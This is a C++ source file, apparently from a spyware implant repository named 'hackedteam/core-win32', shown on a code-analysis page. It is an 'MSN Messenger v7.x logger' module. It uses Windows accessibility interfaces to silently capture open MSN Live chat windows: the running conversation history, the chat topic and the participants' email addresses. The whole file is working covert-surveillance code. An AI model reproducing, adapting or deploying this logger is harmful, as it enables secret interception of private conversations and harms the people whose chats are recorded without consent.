hackedteam/core-win32

View on GitHub
HM_IMAgent/QMsnLive.cpp

Summary

Maintainability
Test Coverage
/*
* MSN Messenger v7.x logger
*
* Coded by: Quequero
* Date: 14/Mar/2008
*
*/

#include <exception>
#include <new>

using namespace std;

#include "QMsnLive.h"
#include "..\common.h"
#define MIN_SEARCH_LENGTH 200

PWCHAR QMsnLive::wChatTree[] = {
    L"IMWindowClass",
    L"DirectUIHWND",
    0
};



QMsnLive::QMsnLive(HWND hw) : QMsn6(hw)
{
    hwChat = ole.GetHandleFromClass(wChatTree);
}

QMsnLive::~QMsnLive()
{

}

BOOL QMsnLive::GrabHistory()
{
    LONG uCount;
    BSTR bChat;
    PWCHAR wHistory, wLine = NULL;

    if(!FNC(IsWindow)(ole.GetHandle()))
        return FALSE;

    if(hwChat == NULL)
        return FALSE;

    ole.SetHandle(hwChat);

    if(ole.SetInterface() == FALSE)
        return FALSE;

    uCount = ole.GetDispatchTypeCount(ROLE_SYSTEM_TEXT);

    if(uCount == 3) // Niente feature o chat con piu' partecipanti
        ole.SetDispatchInterfaceFromType(ROLE_SYSTEM_TEXT, 1);
    else            // User con feature
        ole.SetDispatchInterfaceFromType(ROLE_SYSTEM_TEXT, 2);

    // Se e' il primo grab di questo oggetto, prendi solo l'ultima
    // riga, in questo modo skippiamo tutta la history precedente.
    if(bFirstGrab){
        if(ole.GetValueFromContainer(&bChat, CHILDID_SELF) == FALSE){
            properties.SetUpdated(FALSE);
            return FALSE;
        }

        // In una chat vuota cmq c'e' un "a capo" inserito di default
        // dal programma
        if(wcslen(bChat) == 1)
            return TRUE;

        if(properties.SetHistory(bChat)){
            properties.ConvertNewLine();
            properties.CleanHistory();
            properties.SetUpdated(TRUE);
        }

        SAFE_SYSFREESTR(bChat);
        bFirstGrab = FALSE;
        return TRUE;
    }

    // Se siamo qui, non e' il primo grab
    // Tronca la history se e' gia' stata acquisita
    if(properties.GetAcquiredStatus()){
        properties.TruncateHistory();

        // Acquisiamo il contenuto della finestra
        if(ole.GetValueFromContainer(&bChat, CHILDID_SELF) == FALSE)
            return FALSE;

        wLine = new(std::nothrow) WCHAR[wcslen(bChat) + 1];

        if(wLine == NULL){
            SAFE_SYSFREESTR(bChat);
            return FALSE;
        }

        memset(wLine, 0x00, (wcslen(bChat) + 1) * sizeof(WCHAR));
        memcpy(wLine, bChat, wcslen(bChat) * sizeof(WCHAR));
        properties.ConvertNewLine(wLine);
        SAFE_SYSFREESTR(bChat);

        // Cerchiamo dove si trova l'ultima parte acquisita
        wHistory = properties.wcsrstr(wLine, properties.GetHistory());        
        
        if(wHistory == NULL){
            properties.AppendHistory(wLine);
            properties.SetUpdated(TRUE);
        } else if(wHistory == properties.GetHistory()){
            properties.SetUpdated(FALSE);
        }else{
            uCount = properties.GetHistoryLength();

            if(wcslen(wHistory) == uCount){
                properties.SetUpdated(FALSE);
            }else{
                properties.ClearHistory();
                properties.SetHistory(wHistory + uCount);
                properties.SetUpdated(TRUE);
            }
        }
    }else{ // Parti dall'ultima riga e confronta
        // Acquisiamo il contenuto della finestra
        ole.GetValueFromContainer(&bChat, CHILDID_SELF);

        // Cerca l'ultima riga della chat che abbiamo nella nostra history
        uCount = properties.GetHistoryLength();
        wHistory = GetHistory();

        if(uCount > MIN_SEARCH_LENGTH)
            wHistory += uCount - MIN_SEARCH_LENGTH;
        
        if(!wcslen(bChat)){
            SAFE_SYSFREESTR(bChat);
            return TRUE;
        }

        wLine = new(std::nothrow) WCHAR[wcslen(bChat) + 1];

        if(wLine == NULL){
            SAFE_SYSFREESTR(bChat);
            return FALSE;
        }

        memset(wLine, 0x00, (wcslen(bChat) + 1) * sizeof(WCHAR));
        memcpy(wLine, bChat, wcslen(bChat) * sizeof(WCHAR));
        properties.ConvertNewLine(wLine);

        // Cerchiamo dove si trova l'ultima parte acquisita
        wHistory = wcsstr(wLine, wHistory);    

        if(!wcsncmp(wHistory, properties.GetHistory(), uCount)){
            properties.SetUpdated(FALSE);
        }else{
            properties.AppendHistory(wHistory + uCount);
            properties.SetUpdated(TRUE);
        }
        SAFE_SYSFREESTR(bChat);
    }

    if(wLine)
        delete[] wLine;

    SAFE_SYSFREESTR(bChat);
    return TRUE;
}

BOOL QMsnLive::GrabTopic()
{
    UINT uCount;
    BSTR bChat;

    ole.SetHandle(hwChat);

    if(ole.SetInterface() == FALSE)
        return FALSE;

    uCount = ole.GetDispatchTypeCount(ROLE_SYSTEM_TEXT);
    ole.SetDispatchInterfaceFromType(ROLE_SYSTEM_TEXT, 0);

    if(uCount == 3)
        properties.SetId(L"");
    else{
        ole.GetLineFromContainer(&bChat, 0);
        properties.SetId(bChat);
        SAFE_SYSFREESTR(bChat);
    }

    return TRUE;
}

/**
* Prende l'elenco dei partecipanti e lo mette nelle proprieta'.
*/
BOOL QMsnLive::GrabUserList()
{
    UINT uCount, i;
    BSTR bDesc;
    BOOL bFound = FALSE;

    if(!FNC(IsWindow)(ole.GetHandle())){
        properties.SetUsers(L"");
        return FALSE;
    }

    properties.ClearUsersList();

    uCount = ole.GetDispatchTypeCount(ROLE_SYSTEM_TEXT);

    if(uCount == 3) // Niente feature o chat con piu' partecipanti
        ole.SetDispatchInterfaceFromType(ROLE_SYSTEM_TEXT, 0);
    else            // User con feature
        ole.SetDispatchInterfaceFromType(ROLE_SYSTEM_TEXT, 1);

    // Prendi l'indirizzo dell'utente principale
    if(ole.GetValueFromContainer(&bDesc, CHILDID_SELF) == FALSE)
        return FALSE;

    properties.AppendUser(bDesc, FALSE);
    SAFE_SYSFREESTR(bDesc);

    uCount = ole.GetDispatchTypeCount(ROLE_SYSTEM_BUTTONMENU);

    for(i = 0; i < uCount; i++){
        ole.SetDispatchInterfaceFromType(ROLE_SYSTEM_BUTTONMENU, i);
        
        if(ole.GetDescriptionFromContainer(&bDesc, 0) == FALSE)
            return FALSE;

        WCHAR wLast;
        PWCHAR pwFirst;
        wLast = bDesc[wcslen(bDesc) - 1];

        // I contatti sono nella forma <user@provider.tld>
        if(!wcsncmp(&wLast, L">", 1)){
            if((pwFirst = wcsrchr(bDesc, '<')) == NULL)
                continue;
            
            if(!bFound)
                properties.AppendTerminator();

            if(i < uCount - 1)
                properties.AppendUser(pwFirst, TRUE);
            else
                properties.AppendUser(pwFirst, FALSE);

            bFound = TRUE;
        }

        SAFE_SYSFREESTR(bDesc);
    }

    return TRUE;
}